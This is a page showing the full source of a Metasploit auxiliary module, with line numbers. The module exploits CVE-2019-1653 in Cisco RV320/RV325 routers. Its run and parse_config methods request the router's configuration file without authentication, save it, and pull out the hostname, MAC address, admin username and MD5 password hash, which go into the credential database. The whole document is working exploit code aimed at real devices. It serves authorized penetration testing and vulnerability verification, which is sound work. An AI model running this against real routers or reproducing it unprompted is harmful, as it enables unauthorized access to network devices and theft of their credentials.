Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'Cisco RV320/RV326 Configuration Disclosure',
12
      'Description'    => %q{
13
          A vulnerability in the web-based management interface of Cisco Small Business
14
          RV320 and RV325 Dual Gigabit WAN VPN routers could allow an unauthenticated,
15
          remote attacker to retrieve sensitive information. The vulnerability is due
16
          to improper access controls for URLs. An attacker could exploit this
17
          vulnerability by connecting to an affected device via HTTP or HTTPS and
18
          requesting specific URLs. A successful exploit could allow the attacker to
19
          download the router configuration or detailed diagnostic information. Cisco
20
          has released firmware updates that address this vulnerability.
21
        },
22
      'Author'         =>
23
        [
24
          'RedTeam Pentesting GmbH <[email protected]>',
25
          'Aaron Soto <[email protected]>'
26
        ],
27
      'License'        => MSF_LICENSE,
28
      'References'     =>
29
        [
30
          ['EDB', '46262'],
31
          ['BID', '106732'],
32
          ['CVE', '2019-1653'],
33
          ['URL', 'https://seclists.org/fulldisclosure/2019/Jan/52'],
34
          ['URL', 'https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801'],
35
          ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20110330-acs.html']
36
        ],
37
      'DisclosureDate' => '2019-01-24',
38
      'DefaultOptions' =>
39
        {
40
          'SSL'   => true
41
        }
42
    ))
43

44
    register_options(
45
      [
46
        Opt::RPORT(443),
47
        OptString.new('TARGETURI', [true, 'Path to the device configuration file', '/cgi-bin/config.exp']),
48
      ])
49
  end
50

51
  def report_cred(user, hash)
52
    service_data = {
53
      address: rhost,
54
      port: rport,
55
      service_name: ssl ? 'https' : 'http',
56
      protocol: 'tcp',
57
      workspace_id: myworkspace_id
58
    }
59

60
    credential_data = {
61
      module_fullname: self.fullname,
62
      origin_type: :service,
63
      private_data: hash,
64
      private_type: :nonreplayable_hash,
65
      jtr_format: 'md5',
66
      username: user,
67
    }.merge(service_data)
68

69
    login_data = {
70
      core: create_credential(credential_data),
71
      status: Metasploit::Model::Login::Status::UNTRIED
72
    }.merge(service_data)
73

74
    create_credential_login(login_data)
75
  end
76

77
  def parse_config(config)
78
    # Report loot to database (and store on filesystem)
79
    stored_path = store_loot('cisco.rv.config', 'text/plain', rhost, config)
80
    print_good("Stored configuration (#{config.length} bytes) to #{stored_path}")
81

82
    # Report host information to database
83
    hostname = config.match(/^HOSTNAME=(.*)/)[1]
84
    model = config.match(/^MODEL=(.*)/)[1]
85
    mac = config.match(/^LANMAC=(.*)/)[1]
86
    mac = mac.scan(/\w{2}/).join(':')
87
    report_host(host: rhost,
88
                mac: mac,
89
                name: hostname,
90
                os_name: 'Cisco',
91
                os_flavor: model)
92

93
    # Report password hashes to database
94
    user = config.match(/^user (.*)/)[1]
95
    hash = config.match(/^password (.*)/)[1]
96
    report_cred(user, hash)
97
  end
98

99
  def run
100
    begin
101
      uri = normalize_uri(target_uri.path)
102
      res = send_request_cgi({
103
        'uri'     => uri,
104
        'method'  => 'GET',
105
      }, 60)
106
    rescue OpenSSL::SSL::SSLError
107
      fail_with(Failure::UnexpectedReply, 'SSL handshake failed.  Consider setting SSL to false and trying again.')
108
    end
109

110
    if res.nil?
111
      fail_with(Failure::UnexpectedReply, 'Empty response.  Please validate the RHOST and TARGETURI options and try again.')
112
    elsif res.code != 200
113
      fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code} response.  Please validate the RHOST and TARGETURI options and try again.")
114
    end
115

116
    body = res.body
117
    if body.match(/####sysconfig####/)
118
      parse_config(body)
119
    else body.include?"meta http-equiv=refresh content='0; url=/default.htm'"
120
      fail_with(Failure::NotVulnerable, 'Response suggests device is patched')
121
    end
122
  end
123
end
124

125